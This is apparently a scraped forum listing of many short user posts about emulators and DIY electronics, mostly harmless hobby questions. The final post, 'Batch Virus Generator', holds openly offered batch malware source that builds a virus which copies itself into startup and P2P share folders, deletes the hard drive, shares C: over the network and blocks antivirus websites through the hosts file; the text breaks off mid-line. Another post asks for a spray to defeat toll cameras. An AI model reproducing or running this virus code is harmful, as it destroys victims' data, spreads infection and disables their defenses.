Portable NES Emulator

Below are my rough designs for a portable console that runs a NES emulator, built inside of a NES controller. I don't exactly know how I would do it, but I have a EXCELLENT screen that would work perfectly.

Posted by NYPA 7 years ago


Cheapest way to make gameboy emulator inside gameboy color?

What is the cheapest way to make an emulator from a gameboy color shell?

Posted by mariomagic22 5 years ago


NES/SNES Emulator on Unmodded PS2 or XBOX

Does anyway know of a simple, easy to use and set up, nes and/or snes emulator for the ps2 or xbox, without modding or altering the system in any permanant way?

Posted by wingman246 10 years ago


Roms And Emulators

I remembered this Instructable when i found this site and i remembered all the trouble people had with said Instructable and i wanted to inform earth of this so post your favorite emulator and corresponding roms.

Posted by Gage987 8 years ago


Emulators on the DS

I would really like to get a Nintendo DS. I do have one question though; how well do NES and SNES emulators work on the DS? I ask this because my friend recently got an R4 card which he uses to play such emulators on his DS. When he plays games like Super Metroid and Super Mario Brothers 3, the graphics are extremely choppy and in some cases unplayable. It is not just those roms either, the DS seems to have trouble with nearly all of the emulator games. Is there a way to fix this? I would really appreciate anyone who can help answer either of my questions.

Posted by SC-Ghost 10 years ago


Mario Paint

How can I play mario paint on the snemulds DS emulator using the touch screen?

Posted by Tetrinator44 10 years ago


Rotary (pot) to mouse emulation

I am trying to create an autocue controler. (I've built all the software in Javascript to run in browser windows) When you press a button in Firefox / Explorer, a circle with 2 arrows appears allowing you to scroll up and down. If you move the mouse, the speed of the scroll changes. I want  - if not too complex - emulate this behaviour externally. My idea is to have a rotary control replace the mouse mvement such that you turn it one way the screen scrolls up, and ditto in reverse. And the further you turn the wheel one way or the other, the faster / slower the scroll goes. I did think about using a PS2 mouse thinking it would be a simple case of replacing the sensor, and sending pulses to the chip to emulate the encoder output. But now I understand the LED in these sensors is pulsed, and that the encoder also generates a quadrature signal to the IC chip. Apart from which, those mouse / IC chips are now obsolete!! Anyone any ideas? ** In the days of serial on the old PC's like ZX80, you simply sent a pulse to emulate a mouse click: rapid fire was simply a matter of increasing mark/space timings

Posted by diy-video-gadgets 6 years ago


Xbox 360 PC Output Emulation

I was wondering whether there is a way to make a PC output xbox 360 signals through its usb port. I want to get a wiimote to work with an xbox 360, and since I can already control a PC using glovepie and a bluetooth adapter, wouldn't it be possible to take the wiimote input through the computer, convert it, and feed it directly to the xbox as if the PC were a controller?Sure beats doing this: http://obsiv.spaces.live.com/blog/cns!948789BF56FAF394!177.entry

Posted by jasper28 8 years ago


Nintendo emulator controller

So here's what I'm wanting to do.... I would like some ideas and information on how to take an old school nes controller, add an lcd screen, headphone jack, battery and usb flashdrive, combine them all with the proper software and have it loaded full of nes roms to play on the go.  Any info would be great. heavymetaldruid@gmail.com

Posted by DGreenleaf 6 years ago


License plate spray to emulate (PhotoBlocker) existing products

I want to learn how to make my own photoblocker spray so I can use the tollway without my plates being photographed. I know PhotoBlocker already works but wondering if you geniuses can come up with an at home, DIY for this purpose. MANY thanks!

Posted by kfarrell 9 years ago


VirtualBoyadvance for raspberry pi zero

I just got my raspberry pi a couple of days ago and  want to put a gba emulator on it. I saw a emulator for it called visual boy advance for the raspberry pi zero, but it comes in a .deb file, could some one help me install this to my pi please   download link: http://www.mediafire.com/download/rarkjssi65hly0r/vbam-r947_i386.deb

Posted by minecraftpotato 2 years ago


Circuit that emulate a push button

Hello Everyone! I'd like to ask your help in making this circuit. I want to make a simple circuit that emulates a push button switch: When powered on, the circuit will trigger a switch. When powered off, it will trigger the switch again. I'm thinking of using this for my home made coin operated PC. There are various options for the coin operated PCs from shutting off the monitor or keyboard & mouse to software triggered. But I'm thinking of using the stand-by or sleep option of the motherboard. My current setup is a coin slot that is connected to a timer circuit. When coin is inserted the timer is activated and a relay will turn on. I want to put the circuit to this relay output and connected to the pwr button of the PC. Hoping for your assistance,

Posted by cvill 6 years ago


HC-06 Capabilities

Hello, I am doing some experimenting with the HC-06 and the Arduino/Leonardo. I have the basic setup working to a terminal emulator on my PC. I would like to go one step further now and have the Leonard/HC-06 communicate with a PC application like Word or a browser. In short, I'm trying to have the Leonardo/HC-06 function like a Bluetooth keyboard. Is that possible, or is the HC-06 limited to talking to only a terminal emulator? Thanks, George

Posted by GTF1 3 years ago


Can you use a commodore 64 keyboard on a pc?

I have a question I down loaded a commodore 64 emulator on my pc and It's hard to use a normal keyboard can you use a commodore 64 keyboard on a pc?

Posted by puffinmuffin 6 years ago


DIY Design PWM Contoller for 3 HP 36VDC Motor

A friend of mine and myself want to build a couple of small electric utility vehicles to use for chores around my farm and his cabin. We are thinking of something along the lines of the eMule.  http://www.solarevolution.com/eMule/  We just bought 2 new 3HP 36VDC motors for a really great price off of eBay.  See pics. I want to build some PWM controllers for these to help keep the price of the project down and because I like building things. I could use some help though on a few things. How many amps should the controller be rated for? 100 amps? Larger? Are there any designs out there for a DIYer like me? Thanks.

Posted by starguywisc 4 years ago


Help for Android

Google has an operating system called Android. Click here to check it out. Anyways, I downloaded the desktop emulator and cannot get it to run!! I just get a mobile phone shaped window that says Android right in the middle of it. Can anyone give me any advice?

Posted by dla888 9 years ago


Super Mario Brothers

Hi all, it's been awhile since I've played Super Mario Brothers and I the late night gaming desire has hit. Does anyone know which console this game was played on and does anyone know where I can get an emulator and a game image? Many thanks, dla888

Posted by dla888 9 years ago


Making a personal game system

So everyone and their grandma has posted and made articles for how to make a "universal game system" that emulates the actual hardware of a console on something like a raspberry pi. But my question is this: is it plausible/possible to create your own, unique, personal gaming console? I mean something that doesn't emulate, but rather is an entirely different system (not an NES or Sega, it's a "You-console"!). I understand some criticisms for this: "Why re-invent the wheel? Or at least the console...", "This is too complicated...", "You're stupid" and etc. etc. My reasoning for this is this: Why not? Heck, what a niffty thing to have under your belt to say "Hey, I developed my own game system and make my own games for it! I'm cool!" So what do you guys think? Is it possible? Has someone done it? If not, you guys have any pointers on what to do? I'd like to do it, but I'm not too electronically edj-imukated. Maybe it'll be something I tackle in the future, but I'd like your input first! :)

Posted by kenizl86 3 years ago


use a landline telephone, speakers, a mic, and a computer to go online with dial-up

Would it be possible to use a landline telephone, a computer with speakers and a microphone, and a software program to connect to the internet with dial-up? there are multiple free dial-up numbers available, so if I called with the phone, and used the computer to emulate an analog modem and listen to the response with the microphone, would I be able to get online? if so, does anything like this already exist?

Posted by tyeverett4949 2 years ago


snuggle mattress topper

I love this mattress concept http://dornob.com/modular-love-mattress-made-flexible-for-cuddly-couples/ Creating a whole mattress seems pretty ambitious, however a mattress topper of a similar concept  seems like an affordable simple way to emulate the concept. when i started looking into materials I was really astonished by the foam thing. there are lots of different kinds all in different density and thickness. What type of foam would be suitable for a project like this?

Posted by jacqikill 6 years ago


JPL completes mockup of Spirit, to test extraction procedures

NASA/JPL released a cool picture today, showing their engineering rover embedded in sand with a rock underneath. This is as accurate an emulation of the Spirit rover's situation as possible. The mockup will be used for designing and testing procedures for getting Spirit unstuck and moving again (or for determining that it can't be).NOTE: I'm not able to upload images for attachment to this topic (see my bug report). If that gets fixed some time soon, I'll update this.

Posted by kelseymh 9 years ago


Turning an RPi into a "Sheikah Slate" (LOZ:BotW)

So recently I've been fiddling around with a few things. Plastic recycling, making a bluetooth game controller, and just being blown away by the Legend of Zelda: Breath of the Wild, just to name a few. And after getting a better look at the new key item in the game, the Sheikah Slate, Ive been trying to design one that can do a few of the things the one in the game can do. Im talking about the technical things and not the magical ability things. And just for good measure, throw in portable gaming console for emulated gaming on the go. So far, I have a few components I can piece together, but there are a few other problems that need solving. 1. Can an Amazon Fire 6" Screen be hooked up to a RPi 2 or higher? And if that's possible, is there any additional components needed to pull that off? (im talking about the screen itself, not the whole device) 2. What capacity of LiPo battery would be best suited for a project like this? 3. Would using Adafruit's "Bluetooth EZ Key" module be good to use as a way to control games on the RPi or a PC emulator? Im pretty sure I have more questions, but i'll ask em after these are out of the way.

Posted by EngineerJakit 2 years ago


Cataloging School Papers

I spontaneously decided to catalogue every paper I get/do in school this year. I've run some tests with tesseract, a OCR program, and its decent. Except... I don't have a scanner... I'm thinking of giving it up, unless someone else would like to also try it out. If so, I'll put effort into procuring a scanner, or figuring a way to emulate one with a camera. Any random thoughts on this?

Posted by zachninme 10 years ago


Playing SNES on a 19" LCD

I have a 19" LCD that I use as an external monitor for my laptop but I would also like to be able to hook up my SNES to it and play some of my old games since my only TV is a little 13". Does anyone know how to make a box that has inputs for RCA video and coax cable and outputs video to a computer monitor (with DVI conection). I know there are emulators on the internet that I could play on my computer but it's just not the same without the SNES controllers.

Posted by cannedham160 9 years ago


AA Battery Emulating Transformer?

One of my many hobbies is collecting tabletop water fountains. I have about 6 fountains, two independently powered and 4 that run on 2 AA batteries. Since I have these fountains on all the time, as you can imagine they are costly to power. One day I finally got sick of putting new batteries in these things and rewired their battery wires in a parallel circuit for running on DC power from a wall. Now the only thing I need is a power supply. Now, motors aren't too picky about voltage. They'll operate on different voltages but if it isn't just right the motor will be too loud or too weak to pump the water correctly. This rules out and transformers I have in my bin. Upon measuring the current from the 4 fountains, I found that it uses about 440mA. I have kept my eyes open for a good power supply but have not yet seen one. I've also toyed around with the idea of using the closest one I have (Nokia 3.7v 500~?mA) and applying a voltage regulator on it, but I don't want to buy one yet as I am still a novice at some of the mechanics of most electrical components. Would that be an effective plan? If not, any other ideas? My fountains haven't turned on in a few weeks and there are starting to urge for the sweet trickle of water down their dry, dusty flumes.

Posted by Cabanaman 9 years ago


Has Anyone Here Installed Windows 7 Yet?

Has Anyone Here installed Windows 7 On their PC Yet? I Have,and if you Have,Post a screenshot,and Tell Us what you think about it(No,I am not a microsoft employee :P). Here is My Screenshot And My Specs: 1.6GHz Intel Centrino Processor 768Mb of RAM(Note that this is within an EMUlator,Virtual Box,I gave 7 400 MB of RAM) Post your Specs Too! Also,It runs Pretty Well On my Laptop Through Virtual Box,It Runs OK On virtual Pc,But it gets Slow And VPC additions Cause it to Blue screen.

Posted by ReCreate 9 years ago


Hacking a SNES & NES controller with a USB Keyboard Chip

I been wanting to buy Retrolink's SNES & NES controller but I would love the vintage feel of the REAL SNES Controller and my crazy idea was to hack up a USB Keyboard and mod the SNES & NES controller to be played on my Macbook using nestopia emulator, and my question is this (look at the next line for my question) Is it possible to hack up a USB Keyboard's chip and then Solder the wire to the contact points of the controller without modding it in any way or just nab a converter that does the job? I wanna bring new life to a scrapped USB Keyboard's chip instead of getting Retrolink's SNES Controller to plug and play. So how I can mod the controller without destorying the old chip inside?

Posted by SuperScourge 3 years ago


Windows on a psp

Hello,ever heard of bochs? Erm...bochs for psp? Well,It sucks instead you DOSbox because Dosbox runs approx 3 times faster than bochs. Dosbox starts in approx 10 seconds Boots windows 3.1 is about 10 seconds Boots windows 95 in about 1 minute,not 10 minutes I have a few scripts that start it they are: osrun.bat (asks the user weather to start win 95 or win3.1) 95run.bat (boots windows 95) 31run.bat (starts windows3.1) Should i make an Instructable for this? you know..setting it up..making the images and whatever FAQ: Q:y u put windos95 Y NOT VISTA???!!!111 A:because a psp does not have a 1.5GHz duo processor and 1GB+ of ram Q:what other oses can it run? A:You can run the following: dos(comes in dosbox) OS/2 Warp(has not been tested but theoretically it should work) Windows 1.0-3.11(windows 3.1 has been tested and others should work) windows 95(tested and works perfectly) windows 98(ive heard stories but i have not tested it it may work) It cannot run windows 2000 and up because it is unsupported by Dosbox and by far its unsupported by bochs. a bit more info: The psp PHAT can emulate up to about 5 Megs of ram Just 1 meg above what windows 95 needs and thats BARE MINIMUM!!! The psp SLIM can emulate up to 16.5MB of ram which is about the recommended amount of ram for windows 95 ALso the psp's processor normally runs at 222MHz but can run at the full 333MHz its underclocked so that the battery lasts long and don't worry you wont damage your psp by running at a full 333MHz it will just eat up a battery like i eat up a macadamia nut cookie. So should i make an instructable?

Posted by ReCreate 9 years ago


Halloween Costume Help

I decided to be Marilyn Monroe for Halloween and I have a long pink dress that I am going to alter to emulate Monroe's pink dress from the film Gentleman Prefer Blondes. Does anybody have any ideas how I could do this? The three main things that I need to do are get rid of the rhinestones in the middle, make a bow for the back, and get rid of the straps.  I know how to alter the middle but have no idea what to do about the bow or the straps. Any ideas for how to make the bow would be very appreciated. I know that I could just cut the straps off but there is no support on the top whatsoever and the top is a little loose on me. The material is silk so if I just cut off the straps I'm pretty sure the dress would just fall off. Any ideas are very appreciated!  

Posted by rrkrose 5 years ago


High Powered LED Lighting - Interfacing LED Driver with Microcontroller

Hello. I am pretty new to electronics but have slowly been getting my head around everything. I was hoping that someone may be able to give me some advice regarding circuit design. I am planning on constructing a high powered LED lighting system for my new marine aquarium. The high end LED units are still really expensive and so I thought I would construct my own for a lot cheaper. I understand the need for LED drivers to power these types of LEDs. But what I want to be able to do is control the brightness of the LEDs using a microcontroller to emulate sunrise/midday/sunset and of course moon light. But I am uncertain how you go about interfacing a LED driver to a microcontroller. Does anyone know of any useful tutorials or have any advice on how I go about completing this task? Thanks in advance, Steve

Posted by steven847 4 years ago


How to Obtain Automatic Paypal Donation script for your WoW Private Server (Trinity/Mangos)

As you all know getting such scripts is hard and mostly you want to obtain everything very easy. Well nowdays it aint so easy, but reading this will help you decide if you like staying home and serving donation each day by hand, or just let the people get the rewards automatic, and send themselfs the rewards in game. WoW Private server Automatic Paypal Donation Script (trinity/mangos) This script is Trinity based, with donation page made. It is secured and if anyone attempts fraud rewards aren't given. It has custom db fields for adding the items for people to make donations; this one is made for players to receive credits instead items wich comes very handy for you. It has it's own custom login section for players to log in to your wow website and spend the credits. The Paypal Automatic Donation script works for Trinity/Mangos based emulators. Of course it is not free. Small ammount of money is required. You can contact on xmanworld2012@live.com (add or e-mail). I also have all the packages you need to open your wow private server wotlk 3.3.5a very stable and high development.

Posted by johndoe44 6 years ago


12v desktop fan laptop cooler, request for info

right, so my toshiba has a notorious problem with overheating. its the a505 series, which for any toshiba user should instantly bring forth the heating problems. i run some rather heavy programs on it, such as blender, and several emulators. however, my computer goes litterally shuts off immediately once it hits about 90 degrees (and it will, often...... when i'm using the internet.) so, i've taken to putting it on a box fan. however this makes useing the computer hard. i went out and bought a (really exspensive >( ) laptop cooler, which does jack. it's running at 68 degrees with the internet and pc health monitor running. it's powered by usb cord, and is way to underpowered to be worth  my time. so what i want to do is get a couple desktop fans (as in four to six), wire them together, and hook them up to an outlet, since a usb doesnt supply the needed power. i can probably get the fans wired up (series or parallel?) but i don't know anything about getting a 12v power supply and hooking it up. can anyone help me, please?

Posted by badideasrus 7 years ago


Nokia Lumia 520 without plan

Hi guys. I have been thinking about making/getting a portable game system, and have come to the conclusion that the easiest and most portable way to do this is to buy a cheap smartphone (either android or windows phone 8.1 but not ios because I don't like apple (except for their ipod series, that idea was revolutionary)) and put only emulators and games on it, maybe even steam or origin or desura, pretty much any good game client. Pretty much just use it as a device to play games on. But, I don't want to pay for a smartphone plan. I have read that you can somehow use an android phone as an ipod, but how this is done I have yet to find...I know that you can unlock and root but you still need a carrier for the phone to work. So my question is do any of you guys and gals have any idea of how to go about using a phone without a carrier, as a game system (which means I really only need data)???????I have searched the internet high and low and cant seem to find an answer. And btw, the phone I want to use is the Nokia Lumia 520 (running windows phone cyan update).

Posted by MrDubstepWarMachine 3 years ago


Help requested for purchase of components

Hi. I'm a newbie to embedding but I have a project that needs this and there is no commercially available solution that I can find so I need to learn how to build it myself. This can and will be done in modules... I figure I can tackle one task at a time until I end up with a complete working system, but use the system in the meant time, as I get it completed. The main goal is for an electric motorcycle conversion dashboard,  which will include a password protected relay switch "ignition key" to power the vehicle on securely (Task #1), a user configurable display to show speedometer, odometer, tripometer, clock, battery pack voltage, motor rpm/temp, controller temp, coolant temp, etc via a waterproof rugged tablet (probably a Windows 10 tablet, probably with an Android emulator installed). I'm finding that there are so many different options available, I don't know what to purchase. I want to spend my hard earned money wisely and just buy what I need the first time. Instead of learning the "hard" way, I want to learn the "smart" way. Please help me get started. Thank you in advance!

Posted by Stevonator 7 months ago


Gift Giving In the Community

After making my friend Weiss a genuine Instructables nametag while I was interning (he specifically asked me to), he told me that he'd pay me back somehow. The other day I got an IM from him saying that he was sending me a holiday gift, which I thought was really, really generous! Today, the 11th, I received a letter in the mail today from Weiss!I eagerly opened it, to find a caring message, "Happy Hannukah!" and an awesome photogram. I'm really loving the muffins, robots, and muffiny text!So, it's that time of the year again, and I'm thinking that it's time I gave back to the community.... literally.For those select few of you who have really helped me along with my projects, emulated my projects, or have come to me for help, and maintained contact with me, expect to see a little something holiday-related in your mailbox at some point (if you choose to accept such a gift). It might arrive really late, and I'm sorry about that, but I really have to get my college apps in before that January first deadline.Anyhow, I'll PM you before I send it out, and if you think that I might have forgotten about you, just hit me up with a PM or orangeboard post =)

Posted by T3h_Muffinator 10 years ago


Heating Element for DIY Melting Point Apparatus

Hi Everyone, this is my first post on this site!  I am seeking advice to help me construct a home-made melting point apparatus (M.P.A).  A melting point apparatus allows it's operator to determine the melting point of a chemical sample by heating it in a controlled fashion and noting the temperature when the sample melts.  I have most of the design made up in my head, but I'm not sure as to how I can obtain the proper heating element.  The heating element I am seeking is an emulation of the M.P.A.s heating elements in my school's chemistry lab, which look like this: a metal block (about 3cm tall by 2cm deep by 3 cm wide) with vertical holes bored into the face with a pane of glass pressed against said holes so a glass capillary tube (containing the sample) can be slid into the bored hole and viewed through the glass pane as the sample is heated by the metal.  Another hole is bored into the metal, adjacent to the sample hole, for a thermometer.  So again, my question is do you have any suggestions as to where I could by a heating element like this?  Or, any suggestions on how to build one?  I have a jewelry shop at my disposal so I can probably bore any holes myself.   Any suggestions will be appreciated, thanks!

Posted by Das Horse 6 years ago


RPi Zero and GameBoy - Can the New & Old Work Together?

So I recently found out about the Raspberry Pi Zero earlier last week. After looking at the size of the board and comparing it to the size of a GameBoy/Color/Advance/SP cartridge along with the back of a Gameboy Color/SP system, I had an interesting thought. I know that the RPi's have a great use as a video game emulator (with some case or hardware modification to the original gameboy system). I even saw one DIY article that had a GameBoy cartridge hollowed out and a Micro SD card adapter put into it, just so a heavily modded GameBoy Brick with most of its guts replaced with other techbits (mainly an RPi Zero and plenty of wires) could be used to play NES, SNES and GameBoy games while on the go. So since the Zero is slightly larger than a GBA cartridge, would it be possible to make the Zero connect to the hardware of say a GameBoy Color via the cartridge slot on the back of the console? Or what about other RPi's with other GameBoy consoles? I would try to find out about this myself, but i missed out on buying a Zero when they were first announced and i dont want to buy one from a scalper.

Posted by EngineerJakit 2 years ago


My MAME cabinet

I decided to build a MAME cabinet from scratch.  I got the basic shape from http://www.arcadecab.com/Intro.htm.  I'm not sure what to make it out of.  I'm thinking just 3/4"plywood but I'm not sure it will finish nice.  Home Depot lists it online costing $40 which is kind of pricey.  For around $20 they have "Ultra-Blend Particleboard Underlayment" but I'm not sure it's really meant for this kind of thing. I modeled everything in Sketchup.  The file is attached.  I also attached a number of shots so you can get an idea.  I guess you can't add notes to pictures in a forum topic?  There is a stool that slides out so kids can play easier.  The control panel will hinge out to access the wires.  Another hinged door will conceal the keyboard and mouse which will slide out on drawer slides.  The keyboard is just a grey boxy shape in my sketchup pics.  Another larger door will swing open for access to the computer.  The screen itself, a standard modern LCD computer monitor, will be removable so it can be easily turned 90 degrees for vertical games.  One pic has it in the vertical position.  The red button between the speakers above the screen is a pause button. I'd also like a way to turn off the lights behind the marquee when the computer goes to sleep.  I can handle the electronics to turn off the lights if only I can get a 5v or 12v signal from the computer when it goes to sleep. So what do you think?  I'm still in the planning stage although I have ordered the controls and keyboard emulator.

Posted by nolte919 8 years ago


AVR, Variable resistors, USB

Hello everyone,What a great site this is, I've only seen like 50 projects so far and I know there are an incredible large amount still left to discover on the site.. for all of you who write the guides and articles, great job! =)So on to my questions..I'm trying to learn how to build and program a circuit with an AVR uC. Previously I've played with NE555 circuits and I've connected those normal HD44780 LCDs to the LPT port and so on..I've also worked with repairing TV sets earlier, replacing both normal components and SMBs..So I got some basic knowledge of soldering and reading schematics, so thats no problem.However the programming part is more problematic and also how to connect some components to the uC.. My wish to learn is how to connect variable resistors to the uC and connect the uC to a computer (via USB perhaps) and then read the values there and perhaps sending them further to another program.More simple, I want to be able to connect a variable resistor to a uC and then be able to read the value and use that value on the computer..In the long run, what I want to accomplish is a similar piece like the Aurora open source mixer. http://www.auroramixer.com/But first I want to learn how to connect lets say 2-3 variable resistors, which I believe should be connected to the ADC channels on the uC, right? Together with a low value resistor between the variable resistor and the uC, I've got that info from somewhere so I hope I'm on the right track.Ok, so that's quite simple, I guess.. But then, how do I read the values on the uC? I think the uC should poll the ADC pins with a few milliseconds in between, or does it work in some other way? Before I connect it to a PC, a simple way to see if it works would be to send the "value" from the variable resistors to a led for each resistor and increasing or lowering the brightness of the led depending on the value from the resistor.That should be quite simple to rewrite when hooking up the uC to a computer, just forward the info the PC instead of to the led.. or to them both perhaps..What would the code be for doing such?My "problem" as most people think, is that I learn by examples, not by books or pages on the net with advanced explanations.. I need to have it quite simple, even though I have no problem learning new stuff..I've been working with PHP programming for a few years and even though I know its far from PHP in a uC, its still programming so I have some sort of basic thinking, which I hope will be handy somehow =)I've searched through the net, also searched AVR Freaks and I've even asked on the forums of AVR Freaks who tells me, sure you can do that, you just have to start programming.. But I really dont know where to start..I learned PHP by downloading examples, see what they do, change a bit and see what happens and so on.. Sure I can do that with the AVR as well, but there are no examples that even read just one pin with a variable resistor connected.. if I had that I would be able to duplicate and make it read on more pins and so on..I should be able to emulate the code somehow with the AVR developer software, so somehow I should probably be able to emulate a variable resistor and find out what values I get from it.. but I havent been able to get something like that working either..Finally, I'm now writing here cause this page hosts a great load of great guides, from "how to sew your own panties" to "building your own waterbottle rocket".. and because I didnt get that much help from AVR Freaks..so you guys are my last hope, I hope you could help me out..// Chrisps. if someone would be interested in making a guide on how to accomplish this and perhaps even connect the uC over USB to a computer, that would be the best thing ever ;) but I'm not gonna go that far, just some help would be enough.. hehe .ds

Posted by toffie 9 years ago


DIY DVR (PVR ?)

No, not the mythTV variety, but the real deal. I've been messing with uCLinux on various chip, which led to a vague daydream that I sketched out on the train today. These are my notes on a personal DVR. I say personal because its design for MY needs, and not the typical user. It also happens that no commercial DVR will meet these specs without being mired in lawsuits (see replayTV). Why an embedded solution and not MythTV? I've had mythtv boxes, they can be a lot of fun, and a lot of frustration. Mostly, I don't have room for a second computer, I don't want to use a ton of energy to record a few programs, and no matter where it ends up in my apartment, I will be able to hear it at night. MyDVR: I already watch all my TV on the computer. Either by TV tuner or Xvid. I don't need a Tivo style DVR that will play back content on a TV with a nice menu display. I need a mass storage device that records TV shows. I want Xvid. MPEG2 is huge. Its also kinda ugly. I really really like the look of the XVID codec. It takes a reasonable amount of space for a decent encode (~178 meg per ~20 minutes HDTV). I want multiple tuners...I mean, what if there are two (or five) programs to record simultaneously? Basic design: A motherboard with 32 bit CPU running uClinux (probably a chip from Freescale). These usually have USB and an ethernet MAC (but no PHY). USB 2.0 mass storage device emulation on the USB port. This way the unit can be hooked up to a PC for easy video extraction. This might also have some configuration abilities, but that would require a custom mass storage controller driver - YUCK! Ethernet with HTTP server for show scheduling. IDE interface to a big hard drive. The tuners and encoders would be on add-in cards. The add-in cards would have: 1. A tv tuner. 2. A DSP with xvid encoding. 3. Probably a small uC to control the DSP and tuner. Whats already in my knowledge domain (stuff that I already know about -or- could I really do it?): 1. I've been messing with uClinux for a while. What fun. 2. USB mass storage controller implementations are numerous. check. 3. Embedded HTTP server - check. But I have not routed a PCB using an external PHY. This looks messy. Perhaps a ENC28J60 instead? 4. I've been reading up on some XVID DSP implementations. There are also some commercial MP4 chips, but I bet they're pricey! 5. I picked up a bare PAL tuner at the surplus shop. Time to play. There are a few things that make this project easier than a Tivo clone. There is no video output. No need to do fancy display overlays synced to the incoming/decoding video stream. This is encode only - no need to load, decode, and display the XVID. I'm kinda testing the waters on this project. I'm going to get some DSPs and try to do real-time XVID compression. Also, I need to figure out the tuner card. Any suggestions within the scope of this project would be awesome! Especially if you've worked with uClinux and have a processor recommendation.

Posted by ian 11 years ago


Core Wars: The battle of the programmers.

Okay, brace yourself for a lengthy background story: In the 1960's and 70's, computers were much too expensive for a normal person to have one all to themselves. Before the invention of the Personal Computer (PC), computer systems were mainly employed in large universities, able to be used by students. However, there came a danger with all this: Back then, there was no such thing as protected memory, meaning that someone with minor hacking skills and some knowledge of assembly could easily wreak havoc on other people's data and programs. One such urban legend is that of a major business firm's main computer system, which a mischievous employee had installed his own assembly program called creeper, who's only purpose was to create copies of itself whenever it was run. This soon became a problem, as the creeper virus began eating up precious space in the memory and began corrupting other people's data and programs. After a while, another more brightly-hatted programmer created a program called reaper, which would make numerous copies of itself and destroy any creeper virii it could find and then self-destruct. Soon enough, things were back to normal. After hearing this story, a programmer named A.K. Dewdney got the idea for a game which he called "Core Wars". In this game, people would write computer programs called "warriors" in an assembly language called Redcode. Redcode had instructions not out of the ordinary of any assembly language. These programs were then run simultaneously in a simulated computer called MARS. The aim of the game was to make the opposing program crash by forcing it to execute an illegal command in the computer's shared memory. The surviving program was declared the winner. The absolute simplest warrior was called imp, and was written by Dewdney: MOV 0, 1 The MOV command moves copies a command from one place to another, in a position relative to the MOV command. Because of this, the imp would fill up the entire memory with MOV commands in a relatively short amount of time. Because the memory loops around (So, if the size of the memory is 8000 commands, then command 8001 would be executed as command 0) then it meant imp would always hit it's target eventually if it wasn't hit first. Another program which was written by Dewdney is called Dwarf: bomb      DAT 0,0 Dwarf     ADD #4,-1                 MOV bomb,@bomb                JMP Dwarf End Dwarf This is the first example of a "bomber" program. This program would drop DAT 0,0 (An illegal command) at every fourth slot in the memory in the hopes that the other program would accidentally execute it (cookie if you can figure out how it works). There are far other types of examples, like scanners, which try to scan the commands around it to see if they are illegal. Some programs can even repair themselves mid-battle. So, does anyone else still partake in this ancient game? I recently just got into it, writing my first warrior program a few days ago. Have no idea if it works, but it sounds pretty cool. It's based off of Dewdneys Dwarf but with a few modifications (I named it MindSplitter): bomb      SPL 1                 JMP -1                 DAT 0,0 Split        ADD #5,-1                 MOV bomb,@bomb                JMP Split End Split First off, this plants bombs at every fifth command instead of fourth, which I hope will help it spread out. Second, the bomb it uses is my personal invention that I call the Splitter bomb. In Redcode, the SPL command will jump execution to the specified command, while at the same time continue executing the commands after it. The idea is that the SPL will split to the jump command while the normal execution goes to the jump command, and both of them jump back to the SPL, therefore filling up all of the enemy programs processes. If the enemy program somehow manages to escape the loop, there is a deadly DAT after it. I haven't tried this out yet and I'm not sure how it would do in battle. If someone with a MARS emulator and a warrior of their own would like to put it to the test, I'd would absolutely love to hear how it turns out :).

Posted by dungeon runner 8 years ago


Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 